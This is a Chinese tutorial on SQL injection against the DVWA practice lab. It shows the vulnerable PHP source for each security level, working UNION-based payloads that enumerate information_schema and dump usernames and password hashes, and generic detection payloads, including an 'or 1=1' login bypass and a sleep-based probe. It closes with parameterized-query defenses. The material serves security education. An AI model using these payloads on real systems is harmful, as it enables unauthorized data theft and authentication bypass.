DVWA从入门到精通(八):SQL Injection(SQL注入)
2026/7/3 22:18:43 网站建设 项目流程

摘要:本文是《DVWA从入门到精通》系列的第八篇,带你全面掌握SQL Injection(SQL注入)模块的攻防全流程。从SQL注入的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含字符型注入与数字型注入的判断、UNION联合查询脱库、information_schema元数据库利用、报错注入与布尔盲注、Burp Suite抓包绕过,以及PDO预处理和参数化查询等企业级防御策略,让你真正做到“知其然更知其所以然”。


一、什么是SQL注入?

1.1 SQL注入的核心原理

SQL注入(SQL Injection)是指攻击者通过操纵应用程序的输入参数,将恶意的SQL代码注入到后台数据库查询语句中,从而绕过身份验证、获取敏感数据、篡改数据库内容或执行危险操作

用一个生活化的例子来理解

想象你在公司前台,保安问你:“你的工号是多少?”你回答“10086”。保安对着对讲机说:“查一下工号10086的人是不是我们公司的员工?”——这是正常的查询。

但如果你回答的是:“10086’ OR ‘1’=‘1”,保安原封不动地把这句话传给对讲机:“查一下工号10086’ OR ‘1’=‘1’的人是不是我们公司的员工?”——对讲机那头的人一听:“哦,‘1’=‘1’永远成立,那所有人都是我们公司的员工了,放行!”

SQL注入就是这么回事——应用程序没有对用户输入做任何检查,直接把用户说的话拼接到SQL查询语句中,攻击者通过精心构造的输入改变了SQL语句的原本意图。

从技术角度来看

Web程序代码中对于用户提交的参数未做过滤就直接放到SQL语句中执行,导致参数中的特殊字符打破了SQL语句原有逻辑。

1.2 SQL注入的分类

根据注入技术,SQL注入可以分为以下几种类型:

类型说明
联合查询注入(UNION)使用UNION关键字合并额外的查询结果
布尔盲注(Boolean-based)根据页面返回内容的真假判断
时间盲注(Time-based)根据页面响应时间的差异判断
报错注入(Error-based)利用数据库返回的错误信息获取数据
堆查询注入(Stacked Queries)同时执行多条SQL语句

1.3 SQL注入的危害

SQL注入的危害等级通常被认为是严重甚至毁灭性的:

危害说明
读取敏感数据从数据库中读取用户信息、密码、信用卡号等
修改数据库数据插入、更新或删除数据库记录
绕过身份验证无需密码即可登录系统
执行管理操作关闭DBMS、修改数据库配置等
读取服务器文件读取文件系统上存在的文件内容
执行系统命令在某些情况下向操作系统发出命令

二、准备工作

2.1 靶场环境

确保DVWA已部署并正常运行:

  • 访问地址:http://你的服务器IP/dvwa/login.php

  • 使用admin/password登录

2.2 必备工具

工具用途
浏览器(Chrome/Firefox)访问靶场,F12开发者工具
Burp Suite抓包分析、修改请求参数(Medium级别必需)

2.3 基础知识储备

  • 理解SQL的基本语法(SELECT、WHERE、UNION等)

  • 了解MySQL的information_schema元数据库

  • 熟悉注释符(#--/* */


三、Low级别:毫无防护的“裸奔”状态

3.1 安全级别设置

将DVWA Security设置为Low级别,然后进入SQL Injection模块。

3.2 界面观察

SQL Injection模块的界面包含一个输入框和一个“Submit”按钮。页面上方提示:“User ID”(用户ID)。输入一个数字(如1),页面会返回该用户的名字和姓氏。

3.3 源码分析

点击页面底部的“View Source”按钮,查看Low级别的核心代码:

<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>

这段代码存在致命的SQL注入漏洞

缺陷说明
无任何过滤$_GET['id']直接获取用户输入,未经任何验证或过滤
直接拼接SQL用户输入被直接拼接到SQL查询语句中
字符型注入$id被单引号包裹,属于字符型注入
错误回显数据库错误信息直接显示在页面上

3.4 攻击方法:完整的手工注入流程

第一步:判断注入点

测试1:输入正常值

输入1,点击提交。页面正常返回用户信息。

测试2:输入带单引号的值

输入1',页面返回SQL语法错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

结论:输入的单引号破坏了原始SQL语句结构,后端没有过滤特殊字符——确认存在SQL注入漏洞

判断注入类型

观察源码中的SQL语句:

SELECT first_name, last_name FROM users WHERE user_id = '$id';

$id单引号包裹,说明这是字符型注入。攻击时需要闭合单引号并注释掉后面的内容。

第二步:确认字段数

使用ORDER BY语句探测当前查询返回的字段数量:

1' order by 1 # 1' order by 2 # 1' order by 3 #

输入1' order by 2 #正常返回,输入1' order by 3 #报错——说明当前表有2个字段

第三步:确认回显位置

使用UNION联合查询确认数据显示位置:

1' union select 1,2 #

页面会显示First name: 1Surname: 2,说明两个位置都可以显示数据

第四步:脱库(获取数据库信息)

查数据库名

1' union select database(),2 #

返回当前数据库名:dvwa

查表名

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

编码问题:如果遇到Illegal mix of collations错误,说明UNION操作时字符集冲突,可以使用convert()强制转换编码:

1' union select 1, convert(group_concat(table_name) using utf8) from information_schema.tables where table_schema='dvwa' #

返回dvwa数据库中的所有表名,包括guestbookusers

查列名

1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #

返回users表中的所有列名,包括user_idfirst_namelast_nameuserpassword等。

查用户名与密码

1' union select user, password from users #

返回所有用户的用户名和MD5加密的密码。

3.5 Low级别总结

缺陷说明
无任何输入过滤用户输入直接拼接到SQL语句
字符型注入需要闭合单引号
错误回显数据库报错信息直接暴露
无任何防护可执行任意SQL语句

四、Medium级别:转义函数的“第一次尝试”

4.1 安全级别设置

将DVWA Security切换为Medium级别。

4.2 观察变化

在Medium级别下,输入1'不再报错——单引号被转义了。同时,输入方式从文本框变成了下拉菜单,只能选择1到5这几个数字。

4.3 源码分析

查看Medium级别的核心代码:

<?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $id = $_POST[ 'id' ]; $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); switch ($_DVWA['SQLI_DB']) { case MYSQL: $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Display values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>

Medium级别的变化

  • 增加了转义函数:使用mysqli_real_escape_string()对用户输入进行转义

  • 提交方式改变:从GET变为POST

  • 输入形式改变:从文本框变为下拉菜单

  • 注入类型改变:SQL语句中$id没有单引号包裹,变为数字型注入

4.4mysqli_real_escape_string()的局限

mysqli_real_escape_string()函数会将以下特殊字符进行转义:

  • 单引号'\'

  • 双引号"\"

  • 反斜杠\\\

  • NULL字节等

在字符型注入中,这个函数能有效防御——因为攻击者无法闭合单引号。但在数字型注入中,不需要单引号闭合,所以转义函数完全失效

4.5 攻击方法:Burp Suite抓包注入

由于Medium级别是数字型注入,且使用POST提交,攻击者可以通过Burp Suite抓包修改参数进行注入。

第一步:开启Burp Suite代理

配置浏览器代理为Burp Suite的监听地址(127.0.0.1:8080)。

第二步:抓取提交请求

在下拉菜单中选择一个数字(如1),点击Submit。Burp Suite拦截到请求:

第三步:修改参数进行注入

id=1修改为注入Payload。由于是数字型注入,不需要单引号:

id=1 union select database(),2&Submit=Submit

第四步:放行请求

点击Forward放行请求,页面返回数据库名。

常用Medium级别Payload

目的Payload
查数据库名1 union select database(),2
查表名1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()
查列名1 union select 1, group_concat(column_name) from information_schema.columns where table_name='users'
查数据1 union select user, password from users

4.6 Medium级别总结

改进局限性
mysqli_real_escape_string()转义特殊字符数字型注入不需要闭合引号,转义无效
POST方式提交可通过Burp Suite抓包修改
下拉菜单限制输入可被Burp Suite绕过
有一定防护效果数字型注入场景下完全无效

五、High级别:LIMIT 1的“画蛇添足”

5.1 安全级别设置

将DVWA Security切换为High级别。

5.2 观察变化

页面展示文本Click here to change your ID.,点击页面内here超链接会弹出独立弹窗页面session-input.php;相比 Medium 级别的下拉选择框,High 级恢复可自由编辑的文本输入框,支持手动输入自定义 ID 参数,弹窗仅提供输入框与提交按钮。后端 SQL 语句追加LIMIT 1限制查询输出行数,并过滤 SQL 注释字符,提升注入防御强度。

5.3 源码分析

查看High级别的核心代码:

<?php if( isset( $_SESSION [ 'id' ] ) ) { // Get input $id = $_SESSION[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>

High级别的变化

  • 分两步执行:SQL注入请求和结果获取分为两次请求

  • 增加了LIMIT 1:限制只返回一条结果

  • $id从Session获取:不直接从GET/POST获取

5.4 攻击方法

High 级 SQL 注入将输入与查询拆分为两次独立请求,参数存储于 Session,无法直接 URL 传参注入,同时 SQL 语句存在LIMIT 1限制回显行数,无字符转义过滤,存在字符型 SQL 注入漏洞。

Burp Suite 手注步骤

第一步:判断注入类型和闭合方式

输入基准值1,页面正常返回用户信息,确认查询功能正常;

输入单引号1',页面抛出 SQL 语法错误,说明参数被单引号包裹,存在字符型注入漏洞;

输入1'#,利用注释符屏蔽 SQL 末尾多余单引号与LIMIT 1片段,页面恢复正常数据回显,验证闭合符号为单引号',且#可作为有效注释符修复 SQL 语法;

输入双引号1"页面正常显示数据,排除双引号闭合的可能性;

所以本场景为单引号闭合字符型 SQL 注入,非数字型注入。

第二步:猜解字段数

1' order by 2# //#注释掉后边内容,页面正常 1' order by 3# //页面报错,所以字段数为2

第三步:获取回显位置

1' union select 1,2# //1,2都是回显位置

第四步:获取数据库名

1' union select database(),2 #

第五步:获取表名

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #

第六步:获取表字段

1' union select 1, group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users' #

第七步:获取敏感数据

1' union select group_concat(user), group_concat(password) from users #

5.5 High级别总结

改进局限性
分两次请求执行可手动构造两次请求绕过
LIMIT 1限制可用#注释掉
增加攻击复杂度但不改变漏洞本质

六、Impossible级别:终极防御方案

6.1 安全级别设置

将DVWA Security切换为Impossible级别。

6.2 源码分析

查看Impossible级别的核心代码:

<?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { $id = intval ($id); switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); $row = $data->fetch(); // Make sure only 1 result is returned if( $data->rowCount() == 1 ) { // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } break; case SQLITE: global $sqlite_db_connection; $stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' ); $stmt->bindValue(':id',$id,SQLITE3_INTEGER); $result = $stmt->execute(); $result->finalize(); if ($result !== false) { // There is no way to get the number of rows returned // This checks the number of columns (not rows) just // as a precaution, but it won't stop someone dumping // multiple rows and viewing them one at a time. $num_columns = $result->numColumns(); if ($num_columns == 2) { $row = $result->fetchArray(); // Get values $first = $row[ 'first_name' ]; $last = $row[ 'last_name' ]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } break; } } } // Generate Anti-CSRF token generateSessionToken(); ?>

6.3 Impossible级别的六重防御体系

Impossible级别构建了六重防御体系,彻底杜绝了SQL注入的可能性:

第一层:CSRF Token验证

使用checkToken()函数验证请求中的user_token是否与会话中的session_token一致,防止跨站请求伪造攻击。

第二层:数字类型检查(白名单)

使用is_numeric($id)检查输入是否为数字。只有数字才能通过,任何特殊字符都会被拒绝

第三层:强制类型转换

使用intval($id)将输入强制转换为整数,彻底消除了注入的可能性。

第四层:PDO预处理语句(核心防御)

使用PDO(PHP Data Objects)预处理语句执行SQL查询:

$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT );

SQL指令模板和数据是分开发送的。数据库先编译SQL模板,再用参数值填充。无论用户输入什么特殊字符,都会被数据库严格当作普通数值处理,绝不会被执行

第五层:限制返回行数

LIMIT 1确保只返回一条记录,防止批量数据泄露。

rowCount() == 1的检查更进一步,只有恰好返回一条记录时才显示结果。

第六层:一次性Token刷新

每次请求后调用generateSessionToken()生成新的Token,每个Token只能使用一次

6.4 为什么Impossible级别无法被绕过?

要成功实施SQL注入攻击,攻击者需要满足以下条件:

条件Impossible级别的防护攻击者能否达成
输入特殊字符is_numeric()检查❌ 非数字直接被拒绝
闭合SQL语句intval()强制转换❌ 输入被转为纯数字
执行恶意SQLPDO预处理❌ 数据与代码分离
批量获取数据LIMIT 1+rowCount()检查❌ 最多返回一条
CSRF攻击Token验证❌ 无法伪造有效Token

六重防护叠加,使得SQL注入攻击在Impossible级别下完全不可行


七、防御SQL注入的最佳实践

通过DVWA四个级别的对比,我们可以总结出防御SQL注入的最佳实践

7.1 必须实施的防御措施

措施说明优先级
参数化查询/预处理语句使用PDO或MySQLi的预处理语句,将SQL代码与数据分离⭐⭐⭐⭐⭐
输入验证(白名单)只允许特定格式的输入(如数字、邮箱格式等)⭐⭐⭐⭐⭐
最小权限原则数据库账号只授予必要的权限,限制操作范围⭐⭐⭐⭐⭐
错误信息处理不将数据库错误信息直接暴露给用户⭐⭐⭐⭐

7.2 推荐的辅助措施

措施说明优先级
转义特殊字符使用mysqli_real_escape_string()等函数(但不能作为唯一手段)⭐⭐⭐
Web应用防火墙(WAF)部署WAF检测和阻断SQL注入攻击⭐⭐⭐
存储过程使用存储过程封装数据库操作⭐⭐⭐
日志审计记录所有数据库操作,便于事后追溯⭐⭐

7.3 常见误区

在实际开发中,以下做法不能有效防御SQL注入:

  • 仅使用mysqli_real_escape_string():数字型注入时完全无效(如Medium级别)

  • 仅使用黑名单过滤:总有遗漏的特殊字符或编码绕过方式

  • 依赖前端验证:攻击者可以绕过前端直接发请求

  • 仅使用LIMIT 1:可用注释符#绕过(如High级别)

  • 隐藏错误信息:只隐藏了报错,不解决注入本身

  • 使用已弃用的magic_quotes_gpc:该机制已被PHP废弃,防御效果有限


八、SQL注入的实战检测思路

在实际的渗透测试中,如何快速发现SQL注入漏洞?

8.1 检测步骤

寻找输入点:URL参数、表单输入、HTTP头(Cookie、User-Agent等)

注入特殊字符:输入'")等,观察是否报错

判断注入类型

  • 报错则可能是字符型数字型

  • 不报错则可能是盲注

确认漏洞:使用' and '1'='1' and '1'='2对比响应差异

利用漏洞:根据类型选择合适的注入技术

验证影响:确认可获取的数据范围和权限

8.2 常用检测Payload

Payload目的
'检测是否存在注入(触发报错)
' and '1'='1确认注入存在(条件为真)
' and '1'='2确认注入存在(条件为假,对比响应差异)
' or '1'='1绕过登录验证
' union select 1,2 #探测回显位置
' and sleep(5) #检测时间盲注

九、总结

本文围绕 SQL 注入漏洞开展系统学习,我们掌握其核心原理:程序直接拼接用户输入至 SQL 语句,攻击者借助特殊符号篡改原有 SQL 逻辑,同时分清需单引号闭合的字符型注入与无需闭合的数字型注入;我们逐级完成 DVWA 各安全等级手工注入实操,Low 级别无任何过滤,可依次完成注入点判断、ORDER BY 探测字段、UNION 查询定位回显位、借助 information_schema 实现数据库全量脱库,Medium 采用 mysqli_real_escape_string () 转义仅能防护字符型注入,对数字型注入无效,可通过 Burp 抓包修改参数完成绕过,High 采用独立弹窗查询搭配 LIMIT 1 限制,使用 #注释符即可突破限制,Impossible 集成 CSRF Token、数值类型校验、intval 强制转换、PDO 参数化预处理、查询行数限制、一次性令牌六层防护,彻底阻断注入路径;此外还梳理出预处理参数化查询、输入白名单校验、数据库最小权限、屏蔽详细报错信息等防御手段。SQL 注入是经典高危 Web 漏洞,常年位居 OWASP 十大安全风险榜首,依托 DVWA 的 SQL 注入模块我们同步掌握完整手工注入攻击流程与分层防护思路,在生产环境中落实 PDO 预处理语句、输入白名单校验、数据库最小权限的多重防护策略,能够从根源杜绝 SQL 注入安全隐患。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询